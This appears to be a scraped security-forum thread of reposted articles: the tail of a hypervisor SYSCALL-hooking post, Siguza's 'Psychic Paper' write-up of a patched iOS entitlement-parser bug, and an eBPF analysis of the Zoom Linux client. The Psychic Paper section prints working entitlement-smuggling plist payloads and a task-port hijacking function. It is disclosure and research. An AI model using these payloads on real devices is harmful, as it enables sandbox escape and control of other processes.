    WriteCr3( OriginalCr3 );
    return FALSE;
    }
    else
    {
    if (IS_SYSRET_INSTRUCTION( Rip ))
    goto EmulateSYSRET;
    if (IS_SYSCALL_INSTRUCTION( Rip ))
    goto EmulateSYSCALL;
     
    return FALSE;
    }
     
    //
    // Emulate SYSRET instruction.
    //
    EmulateSYSRET:
    LOG_DEBUG( "SYSRET instruction => 0x%llX", Rip );
    return VmmpEmulateSYSRET( VirtualCpu );
     
    //
    // Emulate SYSCALL instruction.
    //
    EmulateSYSCALL:
    LOG_DEBUG( "SYSCALL instruction => 0x%llX", Rip );
    return VmmpEmulateSYSCALL( VirtualCpu );
    }

    If it has been determined that a SYSCALL or SYSRET instruction has caused the #UD exception, then just skip injecting the exception into the guest as the exception has been caused intentionally, and resume back to the guest gracefully. Example:

    case X86_TRAP_UD: // INVALID OPCODE FAULT
     
    LOG_DEBUG( "VMX => #UD Rip = 0x%llX", VirtualCpu->Context->Rip );
     
    //
    // Handle the #UD, checking if this exception was intentional.
    //
    if (!VmmpHandleUD( VirtualCpu ))
    {
    //
    // If this #UD was found to be unintentional, inject a #UD interruption into the guest.
    //
    VmxInjectInterruption( VirtualCpu, InterruptVectorType, VMX_INTR_NO_ERR_CODE );
    }
     
    // continued code flow then return back to guest....

    So how can we use this effectively? Well in the SYSCALL emulation handler, we have access to the guest registers which contains the system call index, and associated parameters according to the x64 ABI in use, so we have free reign to do whatever we want with this!

     
  7. psychicpaper

    Siguza, 01. May 2020

    “Psychic Paper”

    These aren’t the droids you’re looking for.

    0. Introduction

    Yesterday Apple released iOS 13.5 beta 3 (seemingly renaming iOS 13.4.5 to 13.5 there), and that killed one of my bugs. It wasn’t just any bug though, it was the first 0day I had ever found. And it was probably also the best one. Not necessarily for how much it gives you, but certainly for how much I’ve used it for, and also for how ridiculously simple it is. So simple, in fact, that the PoC I tweeted out looks like an absolute joke. But it’s 100% real.

    I dubbed it “psychic paper” because, just like the item by that name that Doctor Who likes to carry, it allows you get past security checks and make others believe you have a wide range of credentials that you shouldn’t have.

    In contrast to virtually any other bug and any other exploit I’ve had to do with, this one should be understandable without any background knowledge in iOS and/or exploitation. In that spirit, I’ll also try and write this post in a manner that assumes no iOS- or exploitation-specific knowledge. I do expect you however to loosely know what XML, public key encryption and hashes are, and understanding C code is certainly a big advantage.

    So strap in for the story of what I’ll boldly claim to be the most elegant exploit for the most powerful sandbox escape on iOS yet. :P

    1. Background

    1.1 Technical background

    As a first step, let’s look at a sample XML file:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE figment-of-my-imagination>
    <container>
        <meow>value</meow>
        <whatever/>
    </container>
    <!-- herp -->
    <idk a="b" c="d">xyz</idk>
    

    The basic concept is that <tag> opens a tag, </tag> closes it, and stuff goes in between. That stuff can be either raw text or more tags. Empty tags can be self-closing like <tag/>, and they can have attributes like a="b" as well, yada yada.
    There’s three things in the above file that go beyond just basic tags:

    • <?...?> - Tags starting and ending with question marks, so-called “processing instructions”, are treated specially.
    • <!DOCTYPE ...> - Tags starting with !DOCTYPE are, well, “document type declarations” and are treated specially as well.
    • <!-- --> - Tags starting with <!-- and ending with --> are comments, and they plus their contents are ignored.

    The full XML specification contains a lot more, but a) that’s irrelevant to us, and b) nobody should ever be forced to read that.
    Now, XML is horrible to parse for reasons this XKCD illustrates beautifully:

    xkcd

    So yeah, you can construct <mis>matched</tags>, <attributes that="are never closed>, even <tags that are never closed, maybe a tag like this: <!>, the list simply doesn’t end. This makes XML a format that’s excruciatingly hard to parse correctly, which will become relevant in a bit.

    Now building on XML, we have “property list”, or “plist” for short: yet another general-purpose format for storing serialised data. You have arrays, dictionaries with key -> value pairs, strings, numbers, etc. Plist files exist in a bunch of different forms, but the only two that you’ll realistically see in an Apple ecosystem are the “bplist” binary format that are out of scope for this post, and the XML-based format. A valid XML plist can look something like this:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>OS Build Version</key>
        <string>19D76</string>
        <key>IOConsoleLocked</key>
        <false/>
        <!-- abc -->
        <key>IOConsoleUsers</key>
        <array>
            <dict>
                <key>kCGSSessionUserIDKey</key>
                <integer>501</integer>
                <key>kCGSessionLongUserNameKey</key>
                <string>Siguza</string>
            </dict>
        </array>
        <!-- def -->
        <key>IORegistryPlanes</key>
        <dict>
            <key>IODeviceTree</key>
            <string>IODeviceTree</string>
            <key>IOService</key>
            <string>IOService</string>
        </dict>
    </dict>
    </plist>
    

    Plist files are used all throughout iOS and macOS for configuration files, package properties, and last but not least as part of code signatures.

    So: code signatures.
    When a binary wants to run on iOS, a kernel extension called AppleMobileFileIntegrity (or “AMFI”) requires it to have a valid code signature, or else it will be killed on the spot. What this code signature looks like isn’t important for us, all that matters is that it is identified by a hashsum. This hash can be validated in one of two ways:

    1. It can be known to the kernel ahead of time, which is called an “ad-hoc” signature. This is used for iOS system apps and daemons, and the hash is simply checked against a collection of known hashes directly in the kernel.
    2. It needs to be signed with a valid code signing certificate. This is used for all 3rd party apps, and in this scenario, AMFI calls out to the userland daemon amfid to have it run all the necessary checks.

    Now, code signing certificates come in two forms:

    1. The App Store certificate. This is held only by Apple themselves and in order to get signed this way, your app needs to pass the App Store review.
    2. Developer certificates. This can be the free “7-day” certificates, “regular” developer certificate, or enterprise distribution certificates.

    In the latter case, the app in question will also require a “provisioning profile”, a file that Xcode (or some 3rd party software) can fetch for you, and that needs to be placed in your App.ipa bundle at Payload/Your.app/embedded.mobileprovision. This file is signed by Apple themselves, and specifies the duration, the list of devices, and the developer accounts it is valid for, as well as all the restrictions that should apply to the app.

    And now a quick look at app sandboxing and security boundaries:

    In a standard UNIX environment, pretty much the only security boundaries you get are UID checks. Processes of one UID can’t access resources of another UID, and any resource deemed “privileged” requires UID 0, i.e. “root”. iOS and macOS still use that, but also introduce the concept of “entitlements”. In layman’s terms, entitlements are a list of properties and/or privileges that should be applied to your binary. If present, they are embedded in the code signature of your binary, in the form of a XML plist file, which might look like this:

    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>task_for_pid-allow</key>
        <true/>
    </dict>
    </plist>
    

    This would mean that the binary in question “holds the task_for_pid-allow entitlement”, which in this specific case means is allowed to use the task_for_pid() mach trap, which is otherwise not allowed at all (at least on iOS). Such entitlements are checked all throughout iOS and macOS and there’s well upwards of a thousand different ones in existence (Jonathan Levin has built a big catalogue of all the ones he could find, if you’re curious). The important thing is just that all 3rd party apps on iOS are put in a containerised environment where they have access to as few files, services and kernel APIs as possible, and entitlements can be used to poke holes in that container, or remove it entirely.

    This presents an interesting problem. With iOS system apps and daemons, Apple is the one signing them, so they wouldn’t put any entitlements on there that they don’t want the binaries to have. The same goes for App Store apps, where Apple is the one creating the final signature. But with developer certificates, the signature on the binary is created by the developers themselves, and Apple merely signs the provisioning profile. This means that the provisioning profile must create a list of allowed entitlements, or the iOS security model is toast right away. And indeed, if you run strings against a provisioning profile, you will find something like this:

    <key>Entitlements</key>
    <dict>
        <key>keychain-access-groups</key>
        <array>
            <string>YOUR_TEAM_ID.*</string>
        </array>
        <key>get-task-allow</key>
        <true/>
        <key>application-identifier</key>
        <string>YOUR_TEAM_ID.com.example.app</string>
        <key>com.apple.developer.team-identifier</key>
        <string>YOUR_TEAM_ID</string>
    </dict>
    

    Compared to the over-1000 entitlements in existence, this list is extremely short, with the only two functional entitlements being keychain-access-groups (related to credentials) and get-task-allow (allowing your app to be debugged). Not a whole lot to work with.

    1.2 Historical background

    Back in fall 2016 I wrote my first kernel exploit, which was based on the infamous “Pegasus vulnerabilities”. Those were memory corruptions in the XNU kernel in a function called OSUnserializeBinary, which is a subordinate of another function called OSUnserializeXML. These two functions are used to parse not exactly XML data, but rather plist data - they are the way of parsing plist data in the kernel.
    Now given the vulnerabilities I had just written an exploit for, and the still janky-looking code those two functions consisted of, in January 2017 I began looking through them in the hopes of finding further memory corruption bugs.

    At the same time, I was in the process of figuring out how to build an iOS app without Xcode. Partly because I wanted to understand what’s really going on under the hood, and partly because I just hate GUIs for development, especially when you Google how to do something, and the answer is a series of 17 “click here and there”s that are no longer valid because all the GUI stuff moved somewhere else in the last update.
    So I was getting a provisioning profile via Xcode every 7 days, I’d build the binary of my app manually with xcrun -sdk iphoneos clang, I’d sign it myself with codesign, and I’d install it myself with libimobiledevice’s ideviceinstaller.

    It was this combination, as well as probably a good portion of dumb luck that made me discover the following bug, and excitedly tweet about it:

    tweet

    (Thanks for digging that up, Emma! :D)

    2. The bug

    In an informal sense, it’s clear what it means for a binary to hold an entitlement. But how do you formally specify that? What would code look like that takes as input a process handle and an entitlement name and just returned a boolean saying whether the process does or does not have that entitlement? Luckily for us, XNU has precisely such a function in iokit/bsddev/IOKitBSDInit.cpp:

    extern "C" boolean_t
    IOTaskHasEntitlement(task_t task, const char * entitlement)
    {
        OSObject * obj;
        obj = IOUserClient::copyClientEntitlement(task, entitlement);
        if (!obj) {
            return false;
        }
        obj->release();
        return obj != kOSBooleanFalse;
    }
    

    The lion’s share of the work here is done by these two functions though, from iokit/Kernel/IOUserClient.cpp:

    OSDictionary* IOUserClient::copyClientEntitlements(task_t task)
    {
    #define MAX_ENTITLEMENTS_LEN    (128 * 1024)
    
        proc_t p = NULL;
        pid_t pid = 0;
        size_t len = 0;
        void *entitlements_blob = NULL;
        char *entitlements_data = NULL;
        OSObject *entitlements_obj = NULL;
        OSDictionary *entitlements = NULL;
        OSString *errorString = NULL;
    
        p = (proc_t)get_bsdtask_info(task);
        if (p == NULL) {
            goto fail;
        }
        pid = proc_pid(p);
    
        if (cs_entitlements_dictionary_copy(p, (void **)&entitlements) == 0) {
            if (entitlements) {
                return entitlements;
            }
        }
    
        if (cs_entitlements_blob_get(p, &entitlements_blob, &len) != 0) {
            goto fail;
        }
    
        if (len <= offsetof(CS_GenericBlob, data)) {
            goto fail;
        }
    
        /*
         * Per <rdar://problem/11593877>, enforce a limit on the amount of XML
         * we'll try to parse in the kernel.
         */
        len -= offsetof(CS_GenericBlob, data);
        if (len > MAX_ENTITLEMENTS_LEN) {
            IOLog("failed to parse entitlements for %s[%u]: %lu bytes of entitlements exceeds maximum of %u\n",
                proc_best_name(p), pid, len, MAX_ENTITLEMENTS_LEN);
            goto fail;
        }
    
        /*
         * OSUnserializeXML() expects a nul-terminated string, but that isn't
         * what is stored in the entitlements blob.  Copy the string and
         * terminate it.
         */
        entitlements_data = (char *)IOMalloc(len + 1);
        if (entitlements_data == NULL) {
            goto fail;
        }
        memcpy(entitlements_data, ((CS_GenericBlob *)entitlements_blob)->data, len);
        entitlements_data[len] = '\0';
    
        entitlements_obj = OSUnserializeXML(entitlements_data, len + 1, &errorString);
        if (errorString != NULL) {
            IOLog("failed to parse entitlements for %s[%u]: %s\n",
                proc_best_name(p), pid, errorString->getCStringNoCopy());
            goto fail;
        }
        if (entitlements_obj == NULL) {
            goto fail;
        }
    
        entitlements = OSDynamicCast(OSDictionary, entitlements_obj);
        if (entitlements == NULL) {
            goto fail;
        }
        entitlements_obj = NULL;
    
    fail:
        if (entitlements_data != NULL) {
            IOFree(entitlements_data, len + 1);
        }
        if (entitlements_obj != NULL) {
            entitlements_obj->release();
        }
        if (errorString != NULL) {
            errorString->release();
        }
        return entitlements;
    }
    
    OSObject* IOUserClient::copyClientEntitlement(task_t task, const char * entitlement )
    {
        OSDictionary *entitlements;
        OSObject *value;
    
        entitlements = copyClientEntitlements(task);
        if (entitlements == NULL) {
            return NULL;
        }
    
        /* Fetch the entitlement value from the dictionary. */
        value = entitlements->getObject(entitlement);
        if (value != NULL) {
            value->retain();
        }
    
        entitlements->release();
        return value;
    }
    

    So we have a reference implementation for entitlement checks, and it’s backed by OSUnserializeXML. Great! …or is it?

    A very interesting thing about this bug is that I couldn’t point you at any particular piece of code and say “there’s my bug”. The reason for that is that, of course, iOS doesn’t have just one, or two, or even three plist parsers, it has at least four! These are:

    • OSUnserializeXML in the kernel
    • IOCFUnserialize in IOKitUser
    • CFPropertyListCreateWithData in CoreFoundation
    • xpc_create_from_plist in libxpc (closed-source)

    So the three interesting questions that arise from this are:

    1. Which parsers are used to parse entitlements?
    2. Which parser does amfid use?
    3. And do all parsers return the same data?

    The answer to 1) is “all of them”, and to 2) CFPropertyListCreateWithData. And as a few folks on Twitter already figured out after my tweet, the answer to 3) is obviously “lolnope”. Because it’s very hard to parse XML correctly, valid XML makes all parsers return the same data, but slightly invalid XML makes them return just slightly not the same data. :D
    In other words, any parser difference can be exploited to make different parsers see different things. This is the very heart of this bug, making it not just a logic flaw, but a system-spanning design flaw.

    Before we move on to exploiting this, I would like to note that in all my tests, OSUnserializeXML and IOCFUnserialize always returned the same data, so for the rest of this post I will consider them as equivalent. For brevity, I will also be dubbing OSUnserializeXML/IOCFUnserialize “IOKit”, CFPropertyListCreateWithData “CF”, and xpc_create_from_plist “XPC”.

    3. The exploit

    Let’s start with the variant of the PoC I tweeted out, which is perhaps the most elegant way of exploiting this bug:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <!-- these aren't the droids you're looking for -->
        <!---><!-->
        <key>platform-application</key>
        <true/>
        <key>com.apple.private.security.no-container</key>
        <true/>
        <key>task_for_pid-allow</key>
        <true/>
        <!-- -->
    </dict>
    </plist>
    

    The interesting tokens here are <!---> and <!-->, which, as per my understanding of the XML specification, are not valid XML tokens. Nonetheless, IOKit, CF and XPC all accept the above XML/plist… just not exactly in the same way.

    I wrote a little tool called plparse that I have so far been reluctant to open-source because it emphasises the fact that there exist multiple plist parsers in iOS, and that they certainly don’t all work the same. It takes an input file and any combination of -c, -i and -x args to parse the file with the CF, IOKit and XPC engines respectively. Running on the above file, we get:

    % plparse -cix ent.plist 
    {
    }
    {
        task_for_pid-allow: true,
        platform-application: true,
        com.apple.private.security.no-container: true,
    }
    {
        com.apple.private.security.no-container: true,
        platform-application: true,
        task_for_pid-allow: true,
    }
    

    The output is a lazy JSON-like format, but you get the gist of it. At the top is CF, followed by IOKit, and finally XPC. This means that when we slap the above entitlements file on our app (plus app identifier that we need and such) and amfid uses CF to check whether we have any entitlements that the provisioning profile doesn’t allow, it doesn’t see any. But then when the kernel or some daemon wants to check whether we’re allowed to do Fun Stuff™, they see we have all the permissions for it! :D

    So how does this specific example work?
    This is the comment tag handling code of CF (the relevant one anyway, there are multiple):

    case '!':
        // Could be a comment
        if (pInfo->curr+2 >= pInfo->end) {
            pInfo->error = __CFPropertyListCreateError(kCFPropertyListReadCorruptError, CFSTR("Encountered unexpected EOF"));
            return false;
        }
        if (*(pInfo->curr+1) == '-' && *(pInfo->curr+2) == '-') {
            pInfo->curr += 2;
            skipXMLComment(pInfo);
        } else {
            pInfo->error = __CFPropertyListCreateError(kCFPropertyListReadCorruptError, CFSTR("Encountered unexpected EOF"));
            return false;
        }
        break;
        
    // ...
    static void skipXMLComment(_CFXMLPlistParseInfo *pInfo) {
        const char *p = pInfo->curr;
        const char *end = pInfo->end - 3; // Need at least 3 characters to compare against
        while (p < end) {
            if (*p == '-' && *(p+1) == '-' && *(p+2) == '>') {
                pInfo->curr = p+3;
                return;
            }
            p ++; 
        }
        pInfo->error = __CFPropertyListCreateError(kCFPropertyListReadCorruptError, CFSTR("Unterminated comment started on line %d"), lineNumber(pInfo));
    }
    

    And this is the comment tag handling code of IOKit:

    if (c == '!') {
        c = nextChar();
        bool isComment = (c == '-') && ((c = nextChar()) != 0) && (c == '-');
        if (!isComment && !isAlpha(c)) {
            return TAG_BAD;                      // <!1, <!-A, <!eos
        }
        while (c && (c = nextChar()) != 0) {
            if (c == '\n') {
                state->lineNumber++;
            }
            if (isComment) {
                if (c != '-') {
                    continue;
                }
                c = nextChar();
                if (c != '-') {
                    continue;
                }
                c = nextChar();
            }
            if (c == '>') {
                (void)nextChar();
                return TAG_IGNORE;
            }
            if (isComment) {
                break;
            }
        }
        return TAG_BAD;
    }
    

    As can be seen, IOKit checks for the !-- chars, and then correctly advances the pointer by three chars before seeing ->, which doesn’t end the comment. CF on the other hand only advances the pointer by two chars, so it parses the second - twice, thus seeing both <!-- and -->. This means that while IOKit considers <!---> as just the start of a comment, CF considers it as both start and end. After that, we feed both parsers the <!--> token, which is now too short to be interpreted as a full comment by either of them. However, the difference in states (in a comment vs. not in a comment) causes a very interesting behaviour: if we’re currently inside a comment, both parsers see the --> ending a comment, otherwise they both just see the <!-- starting one. Overall, this means:

    <!--->
    CF sees these bits
    <!-->
    IOKit sees these bits
    <!-- -->
    

    After discovering this, I didn’t bother reversing XPC, I simply fed it some test data and observed the results. In this case, it turned out to see the same things as IOKit, which was perfect for my case. I could sneak entitlements past amfid using CF, but have them show up when parsed by both IOKit and XPC!

    There’s a couple more variants I tested, with varying results:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict hurr=">
    </dict>
    </plist>
    ">
        <key>task_for_pid-allow</key>
        <true/>
    </dict>
    </plist>
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <???><!-- ?>
        <key>task_for_pid-allow</key>
        <true/>
        <!-- -->
    </dict>
    </plist>
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE [%>
    <plist version="1.0">
    <dict>
        <key>task_for_pid-allow</key>
        <true/>
    </dict>
    </plist>
    ;]>
    <plist version="1.0">
    <dict>
    </dict>
    </plist>
    

    These are all less elegant and less rewarding than the first variant, and I’ll leave it as an exercise to the reader to figure out what parser difference causes those, or how the different parsers react to them.

    One thing to note here though is that, depending on what you use to install IPA files on your iDevice, getting these entitlements to survive that process can be tricky. That is because the entitlements on a provisioned app also contain a team- and app identifier, which at least Cydia Impactor generates randomly every time you sign, and thus has to parse, modify and re-generate the entitlements blob. I don’t know about any of its alternatives, but I’ve been told Xcode works fine with such entitlements, and the manual variant of codesign+ideviceinstaller certainly does as well.

    4. Escaping the sandbox

    From this point forward, it’s simply a matter of picking entitlements. For a start, we can give ourselves the three entitlements in my initial PoC:

    • com.apple.private.security.no-container - This prevents the sandbox from applying any profile to our process whatsoever, meaning we can now read from and write to any location the mobile user has access to, execute a ton of syscalls, and talk to many hundreds of drivers and userland services that we previously weren’t allowed to. And as far as user data goes, security no longer exists.
    • task_for_pid-allow - Just in case the file system wasn’t enough, this allows us to look up the task port of any process running as mobile, which we can then use to read and write process memory, or directly get or set thread register states.
    • platform-application - Normally we would be marked as a non-Apple binary and not be allowed to perform the above operations on task ports of Apple binaries, but this entitlement marks us as a genuine, mint-condition Cupertino Cookie. :P

    And just in case this entitlement magic wasn’t enough, say we needed to pretend to CF that we have certain entitlements as well, we could easily do that with the three above ones now. All we have to do is find a binary that holds the entitlement(s) we want, posix_spawn it in suspended state, get the newly created process’ task port, and make it do our bidding:

    task_t haxx(const char *path_of_executable)
    {
        task_t task;
        pid_t pid;
        posix_spawnattr_t att;
        posix_spawnattr_init(&att);
        posix_spawnattr_setflags(&att, POSIX_SPAWN_START_SUSPENDED);
        posix_spawn(&pid, path_of_executable, NULL, &att, (const char*[]){ path_of_executable, NULL }, (const char*[]){ NULL });
        posix_spawnattr_destroy(&att);
        task_for_pid(mach_task_self(), pid, &task);
        return task;
    }
    

    You can further get some JIT entitlements to dynamically load or generate code, you can spawn a shell, or any of literally a thousand other things.

    There are a mere two privileges this bug does not give us: root and kernel. But for both of those, our available attack surfaces just increased a hundredfold, and I would argue that going to root isn’t even worth it, because you might as well go straight for the kernel.

    But I hope you will understand, dear reader, that losing one 0day is loss enough for me, so of course escalating past “mobile with every entitlement ever” is left as an exercise to you. ;)

    5. The patch

    Given the elusive nature of this bug, how did Apple ultimately patch it? Obviously there could only be one way: by introducing MORE PLIST PARSERS!!!one!

    In iOS 13.4 already, Apple hardened entitlement checks somewhat, due to a bug report credited to Linus Henze:

    AppleMobileFileIntegrity

    Available for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation

    Impact: An application may be able to use arbitrary entitlements

    Description: This issue was addressed with improved checks.

    CVE-2020-3883: Linus Henze (pinauten.de)

    While I don’t know the exact details of that bug, based on a tweet of Linus I’m assuming this had to do with bplist, which, while also exploiting parser differences, wouldn’t have gotten past amfid. And my bug actually survived the 13.4 fix, but was finally killed in 13.5 beta 3.

    I also don’t know whether it was Linus, Apple or someone else who went on to look for more parser differences, but having two entitlement bugs fixed in two consecutive minor iOS releases feels like too much of a coincidence, so I’m strongly assuming whoever it was drew inspiration from Linus’ bug.

    Apple’s final fix consists of introducing a new function called AMFIUnserializeXML, which is pasted into both AMFI.kext and amfid, and is used to compare against the results of OSUnserializeXML and CFPropertyListCreateWithData to make sure they are the same. You can still include a sequence like <!---><!--><!-- --> in your entitlements and it will go through, but try and sneak anything in between those comments, and AMFI will tear your process to shreds and report to syslog:

    AMFI: detected an anomaly during entitlement parsing.

    So while this does technically bump the number of XML/plist parsers from 4 to 6, it does sadly actually mitigate my bug. :(

    6. Conclusion

    As far as first 0days go, I couldn’t have wished for a better one. This single bug has assisted me in dozens of research projects, was used thousands of times every year, and has probably saved me just as many hours. And the exploit for it is in all likelihood the most reliable, clean and elegant one I’ll ever write in my entire life. And it even fits in a tweet!!
    Well over 3 years since discovery is not half bad for such a bug, but I sure would’ve loved to keep it another decade or two, and I know I’ll dearly miss it in the time to come.

    We can also ask ourselves how a bug like that could ever exist. Why the hell there are 4 different plist parsers on iOS. Why we are still using XML even. But I figure those are more philosophical than technical in nature. And while this entire story shows that it might be a good idea to periodically ask ourselves whether the inaccuracies of our mental models are acceptable, or something should be documented and communicated more thoroughly, I really can’t accuse Apple of much here. Bugs like these are probably among the hardest to spot, and I have truly no idea how the hell I was able to find it while so many others didn’t.

    Now, I’ve pumped this post out as soon as I possibly could, so if I’ve left any mistake in here, you have any questions, or just wanna chat in general, feel free to file an issue, hit me up on Twitter, or shoot me an email at *@*.net where * = siguza.

    At the time of writing, this bug is still present on the latest non-beta version of iOS. The whole project is available on GitHub, have fun with it while it lasts!

    And finally, some of the reactions I got of Twitter for all of you to enjoy:

    tweet

    tweet

    tweet

    tweet

    tweet

    tweet

     

    Sursa: https://siguza.github.io/psychicpaper/

  8. Zooming in on Observability

     

    Zoom has been under scrutiny lately, for a lot of good reasons. Since their product has quickly escalated to being a public critical infrastructure, we decided to play around with our observability stack to see how the Zoom Linux client actually works, and how the different pieces help us with analysis. This write-up is about using eBPF for research and blackbox testing, and provides hands-on examples using ingraind and RedBPF. Our intent was to see how far we can push eBPF in this domain, while also demonstrating some of the amazing engineering behind Zoom.

    ingraind and RedBPF

    At Red Sift, we developed ingraind, our security observability agent for our cloud, based on Rust and eBPF using RedBPF. This means we can gather run-time information about arbitrary system processes and containers to validate if they are doing anything nefarious in our cloud, who do they talk to, and which files they access. However, the cloud is just a fancy word for someone else’s computer, and ingraind runs perfectly fine on my laptop, too.

    So we fired up ingraind to monitor our daily Zoom “standup” meeting, and decided to analyse the results in this blog post. We then deviated a little, and ended up writing some Rust code that helps us decrypt TLS traffic by instrumenting the binary using eBPF uprobes.

    Let’s dig in, first look at the binary, then the results. At the end of the post, I share the configuration file that I used.

    First look

    To get a basic idea of what to expect, I looked at the zoom binary using strings, and quickly found some pinned certificates for *.zoomgov.com, *.zoom.us, and mentions of xmpp.zoomgov.com. This is great!

    The binary is stripped, however, some debug symbols are there for the dependency libraries, not the proprietary code. The directory also contains the Qt library, and a few other standard open source bits and pieces.

    Interestingly, the package comes with a wrapper shell script zoom.sh that manages core dumps.

    Network traffic analysis

    The most interesting thing I wanted to see was how Zoom handles network traffic. I expected at least a partially peer to peer setup with many participants, instead I found that only a handful of IP ranges were used during any call. Most interestingly, one call about two weeks ago showed some amount of TCP traffic hitting a broadcast IP address that ends with .255. My recent tests showed a larger number of individual IPs within a few different IP blocks, but the client version was the same.

    This is how I found out that Zoom actually operates their own ISP, which strikes as an ingenious way of managing the amount of traffic they have to deal with.

    Zoom reaches out to Google’s CDN to fetch the images for the user profiles who are logged in with Google’s SSO. I suspect the same is true for participants who use Facebook logins, but I didn’t see any activity towards Facebook’s ranges.

    Another thing that’s interesting to see is that there is a dedicated thread for networking. I can only hope that this means there is at least some sort of privilege separation, but I did not do syscall analysis this time.

    File access patterns

    The list of files Zoom touched using my call was nothing surprising. Apart from the usual X libraries, and the dependencies they ship, they maintain a local configuration file, and access PulseAudio-related resources on the file system. Stripping out the boring bits leaves us with this:

    1. $ rg '"process_str":"zoom.*"' zoom_file.log |jq '.tags.path_str' |sort |uniq
    2.  
    3. ...
    4. "etc/ca-certificates/extracted/tls-ca-bundle.pem"
    5. ...
    6. "p2501/.config/zoomus.conf"
    7. "p2501/.local/share/fonts/.uuid"
    8. "p2501/.Xauthority"
    9. "p2501/.zoom/data/conf_avatar_045a3a19053421428ff"
    10. "p2501/.zoom/data/conf_avatar_763f5840c57564bca16"
    11. "p2501/.zoom/data/conf_avatar_7cdb80036953ea86e83"
    12. "p2501/.zoom/data/conf_avatar_9426e77c9128d50079d"
    13. "p2501/.zoom/data/conf_avatar_aa2a71a3e0a424e451b"
    14. "p2501/.zoom/data/conf_avatar_b46ff5ad22374cdd56d"
    15. "p2501/.zoom/data/conf_avatar_b61879be31e3fce14ee"
    16. "p2501/.zoom/data/conf_avatar_c29cc2bde8058cb0093"
    17. "p2501/.zoom/data/conf_avatar_e3ef3d0218f29d518dd"
    18. "p2501/.zoom/data/conf_avatar_e8dc9d76cae1c2a5f3e"
    19. "p2501/.zoom/data/conf_avatar_ef7b17310c83f908b39"
    20. "p2501/.zoom/data/conf_avatar_f26b44b634fceb21d7e"
    21. "p2501/.zoom/data/conf_avatar_f28df485f9132b47c75"
    22. "p2501/.zoom/data/zoommeeting.db"
    23. "p2501/.zoom/data/zoomus.db"
    24. "p2501/.zoom/data/zoomus.tmp.db"
    25. ...

    The local cache of avatars is certainly a good call. As we’ve seen above, Zoom downloads the avatars from Google if the user is logged in through the single sign-on service, and it makes sense to maintain a local cache of these. The files are PNGs and JPEGs, and I have found pictures of people I do not recognise, so it looks like there’s no automatic cleanup.

    The local databases are more interesting. They are SQLite databases that seem to contain not much information at all. There is no local copy of conversations or chats.

    However, the access to the TLS CA bundle is a bit baffling given the pinning certificates in the binary, but I suspect one of the linked libraries might be auto-loading this store.

    Accessing the unencrypted data

    For this, we had to bring out the big guns, uprobes, so I’ll hand it over to Alessandro.

    As discovered by Peter looking at the network connections logged by ingraind, Zoom uses Transport Layer Security (TLS) to secure some of its connections.

    There are several libraries that can be used by applications to implement TLS, including the popular OpenSSL, LibreSSL, BoringSSL, NSS etc. Having recently implemented uprobes support for RedBPF, I thought it could be fun to try and use it to hook into whatever library Zoom uses to implement TLS and intercept the unencrypted data.

    Uprobes allow you to instrument user space code by attaching to arbitrary addresses inside a running program. I’m planning to talk about uprobes in a separate post, for the moment it suffices to know that the API to attach custom code to a running program is the following:

    1. pub fn attach_uprobe(
    2. &mut self,
    3. fn_name: Option<&str>,
    4. offset: u64,
    5. target: &str,
    6. pid: Option<pid_t>,
    7. ) -> Result<()>;

    attach_uprobe() parses the target binary or library, finds the function fn_name, and injects the BPF code at its address. If offset is not zero, its value is added to the address of fn_name. If fn_name is None, offset is interpreted as an offset from the start of the target’s .text section. Finally if a pid is given, the custom code will only run for the target loaded by the program with the given pid.

    While doing this is certainly possible on a running process, it is a bit of a rabbit hole. Instrumenting Zoom to access decrypted data turned out to be a challenge, but ad-hoc attaching to existing processes within your control should be easily possible using this infrastructure.

    Findings

    Based on the data we’ve been able to collect with ingraind, there are no screaming issues we’ve found. It is certainly good to see the Zoom app uses pinned certificates, and that they do not keep logs of the messaging history, even as a side-effect.

    Using a Qt-based app is a great way to balance performance and security for a cross-platform audience. On top of that, it was really interesting to see how the infrastructure works in action, with connections going to over 100 target IPs in a few blocks, during a single call, being routed through Zoom’s ISP.

    I highlighted that they keep a cache of profile pictures from Google accounts. This seems futile as Zoom hits Google’s CDN whenever somebody with a Google account joins.

    Test setup

    To make sure we were looking at the right traffic and only picked up on Zoom’s DNS queries, I made sure that nothing else was running during the call but the Zoom Linux client. We used the following ingraind config to monitor the system during a Zoom call.

    1. [[probe]]
    2. pipelines = ["console"]
    3. [probe.config]
    4. type = "Network"
    5.  
    6. [[probe]]
    7. pipelines = ["console"]
    8. [probe.config]
    9. type = "DNS"
    10. interface = "wlp61s0"
    11.  
    12. [[probe]]
    13. pipelines = ["console"]
    14. [probe.config]
    15. type = "Files"
    16. monitor_dirs = ["/usr/bin"]
    17.  
    18. [[probe]]
    19. pipelines = ["console"]
    20. [probe.config]
    21. type = "TLS"
    22. interface = "wlp61s0"
    23.  
    24. [[pipeline.console.steps]]
    25. type = "Container"
    26.  
    27. [[pipeline.console.steps]]
    28. type = "Buffer"
    29. interval_s = 1
    30. enable_histograms = false
    31.  
    32. [pipeline.console.config]
    33. backend = "Console"

    Using this config, we can redirect all the output into a file and use command line tools like ripgrep, and jq to process the results for a superficial look. Let’s take a look at the config file piece by piece.

    1. [probe.config]
    2. type = "Network"

    The Network probe enable network traffic analysis. This means we get low level information on every read and write on a network socket, whether TCP, UDP, v4 or v6.

    1. [probe.config]
    2. type = "DNS"
